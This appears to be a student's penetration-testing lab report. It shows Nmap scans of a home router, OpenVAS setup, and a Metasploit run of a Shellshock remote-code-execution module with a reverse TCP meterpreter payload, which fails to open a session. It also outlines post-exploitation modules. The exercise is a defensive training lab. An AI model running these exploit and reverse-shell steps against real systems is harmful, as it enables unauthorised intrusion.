Experiment No. 3

Batch: A2 **Roll No.:16010421073** **Experiment No.:3**

Aim: Experimenting with Kali.

Resources needed: Pentesting set up

Theory:

Kali Linux, a robust and specialized Linux distribution, stands as a beacon in cybersecurity, particularly for Vulnerability Assessment and Penetration Testing (VAPT). This purpose-built platform is meticulously crafted to equip security professionals and ethical hackers with a comprehensive suite of tools, allowing them to simulate real-world cyber threats in a controlled and ethical manner.

Kali Linux, derived from Debian, is tailored for VAPT, a proactive approach to securing information systems. The distribution integrates many pre-installed security tools covering every facet of the testing process. This includes reconnaissance, vulnerability identification, exploitation, post-exploitation analysis, and reporting. The ecosystem enables security experts to comprehensively assess the resilience of networks, applications, and systems against potential threats.

Core Tools and Capabilities:

1. Nmap - Unveiling Network Landscapes:

Nmap, the cornerstone of network exploration, is instrumental in mapping out hosts, identifying open ports, and scrutinizing services. Its flexibility allows practitioners to conduct scans such as SYN scans for stealth, UDP scans for unconventional protocols, and version detection for granular insights into target systems.

2. OpenVAS - Unearthing Vulnerabilities:

OpenVAS, integrated into Kali Linux, transforms the vulnerability assessment landscape. By employing a database of known vulnerabilities, it systematically scans target systems, providing a detailed report on potential weaknesses. Security professionals can leverage this information to address and mitigate risks proactively.

3. Metasploit - The Art of Exploitation:

Metasploit, a potent penetration testing framework, enables security practitioners to simulate cyber-attacks. Its vast collection of exploits and payloads caters to a diverse range of targets. With Metasploit, ethical hackers can validate the effectiveness of security measures and develop strategies to fortify defenses.

4. Wireshark - Decrypting Network Traffic:

Wireshark, a network protocol analyzer, dissects packets traversing the network. It aids in understanding network behavior, identifying anomalies, and uncovering potential security threats. Security professionals can utilize Wireshark to intercept and analyze communication, enhancing their ability to detect and counteract malicious activities.

5. Aircrack-ng - Securing Wireless Networks:

In the realm of wireless security, Aircrack-ng takes center stage. This toolset empowers security experts to audit and secure wireless networks. From capturing Wi-Fi handshakes to exploiting vulnerabilities in wireless protocols, Aircrack-ng is pivotal in fortifying organizations against wireless threats.

Ethical Considerations:

The exploration of Kali Linux for VAPT demands a principled approach. Practitioners must operate within the bounds of legal and ethical frameworks. Gaining proper authorization, respecting privacy, and adhering to responsible disclosure practices are paramount. The objective is not to exploit for malicious intent but to fortify defenses and cultivate a proactive security posture.

Procedure:

Exploring network landscapes using Nmap involves a stepwise discovery, scanning, and analysis process.

Step 1: Install Nmap on Kali Linux

Ensure that Nmap is installed on the Kali Linux system. If not, install it using the following command:

```
sudo apt-get update
sudo apt-get install nmap
```

Step 2: Identify Target

Determine the target network or IP address range to scan. This could be a specific IP address, a range of IP addresses, or an entire subnet.

Step 3: Basic Ping Scan

Perform a basic ping scan to identify live hosts on the network. This helps in narrowing down the scope of the scan.

```
nmap -sn <target>
```

Replace <target> with the IP address or range to scan. This command sends ICMP echo requests to discover live hosts without performing detailed port scans.

Step 4: Port Scan for Common Ports

Conduct a port scan to identify open ports on live hosts. This command scans the 1,000 most common ports.

```
nmap -p 1-1000 <target>
```

Step 5: Intense Scan with Service Version Detection

Perform a more comprehensive scan, including service version detection. This provides details about the services running on open ports.

```
nmap -sV <target>
```

Step 6: Aggressive Scan with OS Detection

Execute an aggressive scan that includes operating system detection. This attempts to identify the operating system of the target hosts.

```
nmap -A <target>
```

Step 7: Output to a File

Save the results to a file for later analysis or reporting. Replace <output_file> with the desired file name.

```
nmap -A -oN <output_file> <target>
```

Step 8: Perform a Script Scan

Nmap has a variety of scripts that can provide additional information about the target. Use the following command to default scripts against the target.

```
nmap -sC <target>
```

Step 9: Explore UDP Ports

Include UDP port scanning to identify services running on UDP ports.

```
nmap -sU <target>
```

OpenVAS

Exploring vulnerabilities using OpenVAS involves a stepwise installation, configuration, and scanning process.

Step 1: Install OpenVAS on Kali Linux

Ensure that OpenVAS is installed on your Kali Linux system. You can install it using the following commands:

```
sudo apt-get update
sudo apt-get install openvas
```

During the installation, the prompt will be given to set up a password for the OpenVAS Administrator (admin).

Step 2: Configure OpenVAS

After installation, configure OpenVAS by running the following command:

sudo openvas-setup

Follow the prompts to set up the OpenVAS Manager, Scanner, and other components. This process may take some time as it downloads the necessary vulnerability databases.

Step 3: Start OpenVAS Services

Start the OpenVAS services with the following commands:

```
sudo systemctl start openvas-manager
sudo systemctl start openvas-scanner
sudo systemctl start openvas-gsa
```

Step 4: Access OpenVAS Web Interface

Open a web browser and navigate to the OpenVAS web interface using the following URL:

https://localhost:9392

Log in with the OpenVAS Administrator credentials set during the setup.

Step 5: Update OpenVAS Feeds

Update the vulnerability feeds to ensure that OpenVAS has the latest information. Go to the "Administration" tab and click on "Feeds." Click on the "Green Arrows" icon to update the feeds.

Step 6: Create a Target

Define a target for scanning. Go to the "Configuration" tab and click on "Targets." Click on the

"Create Target" button and provide details such as the target's IP address or hostname.

Step 7: Create a Task

Create a scanning task associated with the target. Go to the "Scans" tab and click on "Tasks." Click the "Create Task" button, select the target, and configure scan parameters.

Step 8: Run the Scan

Initiate the vulnerability scan by selecting the created task and clicking the "Play" button. This will launch the scan against the specified target.

Metasploit

Using Metasploit for penetration testing involves a stepwise installation, exploration, and exploitation process.

Step 1: Install Metasploit on Kali Linux

Ensure that Metasploit is installed on the Kali Linux system. If not, install it using the following commands:

```
sudo apt-get update
sudo apt-get install metasploit-framework
```

Step 2: Start Metasploit Console

Launch the Metasploit console by entering the following command in the terminal:

```
msfconsole
```

This opens the Metasploit Framework console, providing access to various modules and functionalities.

Step 3: Explore Modules

Explore available modules using the search command. For example, to search for exploits related to the Apache web server, type:

```
search apache
```

Review the results and select a module based on target and scenario.

Step 4: Select and Load an Exploit Module

Choose an exploit module from the list and load it into the Metasploit console using the use command. Replace <exploit_module> with the name of the desired module:

```
use <exploit_module>
```

Step 5: Configure the Exploit

Configure the exploit by setting the required parameters. Use the show options command to view and set the necessary options. For example:

```
show options
set RHOSTS <target_IP>
set RPORT <target_port>
```

Step 6: Verify Exploit Configuration
Double-check configuration using the *show options* command to ensure all required parameters are set correctly.

Step 7: Exploit the Target. Execute the exploit by typing:

```
exploit
```

This launches the attack against the target system. Metasploit will attempt to exploit the specified vulnerability.

Step 8: Post-Exploitation
Upon successful exploitation, the post-exploitation phase starts. Use various Metasploit commands and modules to gather information, escalate privileges, and explore the compromised system.

```
sysinfo
getuid
```

Step 9: Explore Post-Exploitation Modules
Use the post command to explore post-exploitation modules. These modules help in privilege escalation, data exfiltration, and lateral movement.

```
use post/multi/recon/local_exploit_suggester
```

Step 10: Generate Reports
Document findings and generate reports summarizing the penetration test. Use the db_export command to export data to external tools for reporting.

```
db_export -f xml -o /path/to/report.xml
```

Output(Code with result Snapshot)

- **Execute minimum 2 tools**

---

1) **Nmap**

Step 2: Identify Target
192.168.29.1

Step 3: Basic Ping Scan

```
┌──(keyur㉿kali)-[~]
└─$ nmap -sn -Pn 192.168.0.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 18:08 IST
Nmap scan report for 192.168.0.1
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.01 seconds
```

Step 4: Port Scan for Common Ports

```
┌──(keyur㉿kali)-[~]
└─$ nmap -p 1-1000 -Pn 192.168.1.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 18:28 IST
Nmap scan report for 192.168.1.1
Host is up (0.059s latency).
All 1000 scanned ports on 192.168.1.1 are in ignored states.
Not shown: 990 filtered tcp ports (no-response), 10 filtered tcp ports (host-unreach)

Nmap done: 1 IP address (1 host up) scanned in 5.95 seconds
```

Step 5: Intense Scan with Service Version Detection

```
┌──(keyur㉿kali)-[~]
└─$ nmap -sV 192.168.0.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 18:06 IST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.28 seconds

┌──(keyur㉿kali)-[~]
└─$ nmap -sV -Pn 192.168.0.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 18:07 IST
Nmap scan report for 192.168.0.1
Host is up (0.060s latency).
All 1000 scanned ports on 192.168.0.1 are in ignored states.
Not shown: 990 filtered tcp ports (no-response), 10 filtered tcp ports (host-unreach)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.20 seconds
```

Step 6: Aggressive Scan with OS Detection

```
┌──(keyur㉿kali)-[~]
└─$ nmap -A 192.168.0.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 19:08 IST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.18 seconds

┌──(keyur㉿kali)-[~]
└─$ nmap -A -Pn 192.168.29.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 19:09 IST
Nmap scan report for reliance.reliance (192.168.29.1)
Host is up (0.070s latency).
All 1000 scanned ports on reliance.reliance (192.168.29.1) are in ignored states.
Not shown: 990 filtered tcp ports (no-response), 10 filtered tcp ports (host-unreach)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.21 seconds
```

Step 7: Output to a File

```
Open ▾   file.txt
~/Desktop/kp

# Nmap 7.94SVN scan initiated Sun Feb 11 20:09:59 2024 as: nmap -A -oN file.txt -Pn
192.168.29.1
Nmap scan report for reliance.reliance (192.168.29.1)
Host is up (0.050s latency).
All 1000 scanned ports on reliance.reliance (192.168.29.1) are in ignored states.
Not shown: 990 filtered tcp ports (no-response), 10 filtered tcp ports (host-unreach)

Service detection performed. Please report any incorrect results at https://nmap.org/
submit/ .
# Nmap done at Sun Feb 11 20:10:10 2024 -- 1 IP address (1 host up) scanned in 11.29
seconds
```

```
keyur@kali: ~/Desktop/kp

┌──(keyur㉿kali)-[~/Desktop/kp]
└─$ nmap -A -oN file.txt -Pn 192.168.29.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 20:09 IST
Nmap scan report for reliance.reliance (192.168.29.1)
Host is up (0.050s latency).
All 1000 scanned ports on reliance.reliance (192.168.29.1) are in ignored states.
Not shown: 990 filtered tcp ports (no-response), 10 filtered tcp ports (host-unreach)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.29 seconds

┌──(keyur㉿kali)-[~/Desktop/kp]
└─$ s
```

Step 8: Perform a Script Scan

```
┌──(keyur㉿kali)-[~/Desktop/kp]
└─$ nmap -sC -Pn 192.168.29.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 20:12 IST
Nmap scan report for reliance.reliance (192.168.29.1)
Host is up (0.061s latency).
All 1000 scanned ports on reliance.reliance (192.168.29.1) are in ignored states.
Not shown: 990 filtered tcp ports (no-response), 10 filtered tcp ports (host-unreach)

Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds
```

Step 9: Explore UDP Ports

```
┌──(keyur㉿kali)-[~]
└─$ sudo nmap -sU -Pn 192.168.29.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 20:13 IST
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 17.00% done; ETC: 20:17 (0:02:51 remaining)
Stats: 0:00:36 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 17.50% done; ETC: 20:17 (0:02:50 remaining)
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 31.00% done; ETC: 20:17 (0:02:22 remaining)
Stats: 0:01:04 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 31.50% done; ETC: 20:17 (0:02:21 remaining)
Stats: 0:02:47 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 82.50% done; ETC: 20:17 (0:00:35 remaining)
Stats: 0:02:48 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 83.00% done; ETC: 20:17 (0:00:34 remaining)
Stats: 0:03:19 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 98.50% done; ETC: 20:17 (0:00:03 remaining)
Nmap scan report for reliance.reliance (192.168.29.1)
Host is up.
All 1000 scanned ports on reliance.reliance (192.168.29.1) are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 202.35 seconds

┌──(keyur㉿kali)-[~]
```

2) Metasploit

Step 2: start msfconsole

```
$ sudo msfdb init && msfconsole
[sudo] password for keyur:
[+] Starting database
[i] The database appears to be already configured, skipping initialization
Metasploit tip: View advanced module options with advanced

     .~+P``````-o+:.                                  -o+:.
.+oooyysyyssyyssyddh++os-`                                                  `
+++++++++++++++++++++++sydhyoyso/:.`...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~//////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.`                .-.-...-////++++++++++++++//////~~//////++++++++++++///
                                `...............`                `...-/////...`


                                  .::::::::::-.                    .:::::::-
                               .hmMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
                                :Nm-/NMMMMMMMMMMMMMM$$NMMMMMm&&MMMMMMMMMMMMMMMMy
                                .sm/`-yMMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMMMMh`
                                 -Nd`  :MMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMMMMh`
                                  -Nh` .yMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMMMMm/
    `oo/``-hd:  ``                .sNd  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMMMMm/
      .yNmMMh//+syysso-``````        -mh`  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMMMMd
    .shMMMMN///dmNMMMMMMMMMMMMMMs`     `:```-o++++oooo+:/oooooo+:+o+++oooo++/
    `///omh//dMMMMMMMMMMMMMMMMMN/::::/+oooso--/ydh//+s+/osssssso:--syN//os:
          /MMMMMMMMMMMMMMMMMMMMMMd.      `/++-.-yy/...osydh/-+oo:- o//...oyodh+
          -hMMmssddd+:dMMMMMMMMMMMMh.      `.-mmmk.//^^^\\`^^`:++:^^o://^^^\\`::
          .sMMmo.    -dMd--:mN/`           ||--X--||          ||--X--||
..........yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
==============================================================================
====================+-------------------------------+=========================
====================| Session one died of dysentery. |=========================
====================+-------------------------------+=========================
==============================================================================

                      Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

                       Press SPACE BAR to continue
```

Step 3: Explore Modules

```
       =[ metasploit v6.3.51-dev                          ]
+ -- --=[ 2384 exploits - 1235 auxiliary - 418 post       ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search apache

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/multi/http/apache_apisix_api_default_token_rce 2020-12-07       excellent  Yes    APISIX Admin API default access token RCE
   1   exploit/linux/http/atutor_filemanager_traversal        2016-03-01       excellent  Yes    ATutor 2.2.1 Directory Traversal / Remote Code Execution
   2   exploit/multi/http/apache_activemq_upload_jsp          2016-06-01       excellent  No     ActiveMQ web shell upload
   3   auxiliary/scanner/http/apache_userdir_enum                              normal     No     Apache "mod_userdir" User Enumeration
   4   exploit/multi/http/apache_normalize_path_rce           2021-05-10       excellent  Yes    Apache 2.4.49/2.4.50 Traversal RCE
   5   auxiliary/scanner/http/apache_normalize_path           2021-05-10       normal     No     Apache 2.4.49/2.4.50 Traversal RCE scanner
   6   exploit/windows/http/apache_activemq_traversal_upload  2015-08-19       excellent  Yes    Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload
   7   auxiliary/scanner/http/apache_activemq_traversal                        normal     No     Apache ActiveMQ Directory Traversal
   8   auxiliary/scanner/http/apache_activemq_source_disclosure                normal     No     Apache ActiveMQ JSP Files Source Disclosure
   9   exploit/multi/misc/apache_activemq_rce_cve_2023_46604  2023-10-27       excellent  Yes    Apache ActiveMQ Unauthenticated Remote Code Execution
   10  exploit/linux/http/apache_airflow_dag_rce              2020-07-14       excellent  Yes    Apache Airflow 1.10.10 - Example DAG Remote Code Execution
   11  auxiliary/scanner/http/axis_login                                       normal     No     Apache Axis2 Brute Force Utility
   12  auxiliary/scanner/http/axis_local_file_include                          normal     No     Apache Axis2 v1.4.1 Local File Inclusion
   13  auxiliary/dos/http/apache_commons_fileupload_dos       2014-02-06       normal     No     Apache Commons FileUpload and Apache Tomcat DoS
   14  exploit/linux/http/apache_continuum_cmd_exec           2016-04-06       excellent  Yes    Apache Continuum Arbitrary Command Execution
   15  exploit/linux/http/apache_couchdb_cmd_exec             2016-04-06       excellent  Yes    Apache CouchDB Arbitrary Command Execution
   16  exploit/multi/http/apache_couchdb_erlang_rce           2022-01-21       excellent  Yes    Apache Couchdb Erlang RCE
   17  exploit/linux/http/apache_druid_js_rce                 2021-01-21       excellent  Yes    Apache Druid 0.20.0 Remote Command Execution
   18  exploit/multi/http/apache_druid_cve_2023_25194         2023-02-07       excellent  Yes    Apache Druid JNDI Injection RCE
   19  exploit/multi/http/apache_flink_jar_upload_exec        2019-11-13       excellent  Yes    Apache Flink JAR Upload Java Code Execution
   20  auxiliary/scanner/http/apache_flink_jobmanager_traversal 2021-01-05     normal     Yes    Apache Flink JobManager Traversal
   21  auxiliary/scanner/http/mod_negotiation_brute                            normal     No     Apache HTTPD mod_negotiation Filename Bruter
   22  auxiliary/scanner/http/mod_negotiation_scanner                          normal     No     Apache HTTPD mod_negotiation Scanner
   23  exploit/linux/smtp/apache_james_exec                   2015-10-01       normal     Yes    Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write
   24  exploit/multi/http/apache_jetspeed_file_upload         2016-03-06       manual     No     Apache Jetspeed Arbitrary File Upload
   25  auxiliary/scanner/ssh/apache_karaf_command_execution   2016-02-09       normal     No     Apache Karaf Default Credentials Command Execution
   26  auxiliary/scanner/ssh/karaf_login                                       normal     No     Apache Karaf Login Utility
   27  exploit/windows/http/apache_mod_rewrite_ldap           2006-07-28       great      Yes    Apache Module mod_rewrite LDAP Protocol Buffer Overflow
   28  exploit/multi/http/apache_nifi_processor_rce           2020-10-03       excellent  Yes    Apache NiFi API Remote Code Execution
   29  post/linux/gather/apache_nifi_credentials                               normal     No     Apache NiFi Credentials Gather
   30  exploit/linux/http/apache_nifi_h2_rce                  2023-06-12       excellent  Yes    Apache NiFi H2 Connection String Remote Code Execution
   31  auxiliary/scanner/http/apache_nifi_login                                normal     No     Apache NiFi Login Scanner
   32  auxiliary/scanner/http/apache_nifi_version                              normal     No     Apache NiFi Version Scanner
   33  exploit/linux/http/apache_ofbiz_deserialization_soap   2021-03-22       excellent  Yes    Apache OFBiz SOAP Java Deserialization
```

Step 4: Select and Load an Exploit Module

```
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CMD_MAX_LENGTH 2048            yes       CMD max line length
   CVE           CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER        User-Agent       yes       HTTP header to use
   METHOD        GET              yes       HTTP method to use
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPATH         /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI                      yes       Path to CGI script
   TIMEOUT       5                yes       HTTP read response timeout (seconds)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.103    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86
```

Step 5: Configure the Exploit

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RPORTS 80
[!] Unknown datastore option: RPORTS. Did you mean RPORT?
RPORTS => 80
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RPORT 80
RPORT => 80
```

Step 6: Verify Exploit Configuration

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RPORTS 80
[!] Unknown datastore option: RPORTS. Did you mean RPORT?
RPORTS => 80
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CMD_MAX_LENGTH  2048           yes       CMD max line length
   CVE           CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER        User-Agent       yes       HTTP header to use
   METHOD        GET              yes       HTTP method to use
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.1.10     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPATH         /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI                      yes       Path to CGI script
   TIMEOUT       5                yes       HTTP read response timeout (seconds)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.103    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

Step 7: Exploit the Target. Execute the exploit by typing:

exploit

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/vulnerable.cgi
TARGETURI => /cgi-bin/vulnerable.cgi
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name          Current Setting          Required  Description
   ----          ---------------          --------  -----------
   CMD_MAX_LENGTH  2048                   yes       CMD max line length
   CVE           CVE-2014-6271            yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER        User-Agent               yes       HTTP header to use
   METHOD        GET                      yes       HTTP method to use
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.29.182           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPATH         /bin                     yes       Target PATH for binaries used by the CmdStager
   RPORT         80                       yes       The target port (TCP)
   SSL           false                    no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /cgi-bin/vulnerable.cgi  yes       Path to CGI script
   TIMEOUT       5                        yes       HTTP read response timeout (seconds)
   URIPATH                                no        The URI to use for this exploit (default is random)
   VHOST                                  no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.103    yes       The listen address (an interface may be specified)
```

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit

[*] Started reverse TCP handler on 192.168.0.103:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Exploit completed, but no session was created.
```

Step 8: Post-Exploitation

Step 9: Explore Post-Exploitation Modules

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run

[*] Started reverse TCP handler on 192.168.0.103:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > db_export -f xml -o /path/to/report.xml
[*] Starting export of workspace default to /path/to/report.xml [ xml ]...
```

Step 10: Generate Reports

```
msf6 post(multi/recon/local_exploit_suggester) > db_export -f xml -o /path/to/report.xml
[*] Starting export of workspace default to /path/to/report.xml [ xml ]...
[-] Error while running command db_export: No such file or directory @ rb_sysopen - /path/to/report.xml

Call stack:
/usr/share/metasploit-framework/lib/msf/core/db_export.rb:53:in `initialize'
/usr/share/metasploit-framework/lib/msf/core/db_export.rb:53:in `open'
/usr/share/metasploit-framework/lib/msf/core/db_export.rb:53:in `to_xml_file'
/usr/share/metasploit-framework/lib/msf/core/db_manager/db_export.rb:7:in `run_db_export'
/usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/db_export_data_proxy.rb:10:in `block in run_db_export'
/usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:164:in `data_service_operation'
/usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/db_export_data_proxy.rb:4:in `run_db_export'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb:1850:in `block in cmd_db_export'
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/activerecord-7.0.8/lib/active_record/connection_adapters/abstract/connection_pool.rb:215:in `with_connection'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb:1819:in `cmd_db_export'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:35:in `with_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:23:in `<main>'
```

Post Lab Questions:-

1. **You are tasked with securing a Wi-Fi network against potential attacks. You perform a wireless audit using Aircrack-ng as part of your security assessment.**

Ans: i) Aircrack-ng

```
$ aircrack-ng --help

  Aircrack-ng 1.7  - (C) 2006-2022 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: aircrack-ng [options] <input file(s)>

  Common options:

      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)
      -e <essid> : target selection: network identifier
      -b <bssid> : target selection: access point's MAC
      -p <nbcpu> : # of CPU to use  (default: all CPUs)
      -q         : enable quiet mode (no status output)
      -C <macs>  : merge the given APs to a virtual one
      -l <file>  : write key to file. Overwrites file.

  Static WEP cracking options:

      -c         : search alpha-numeric characters only
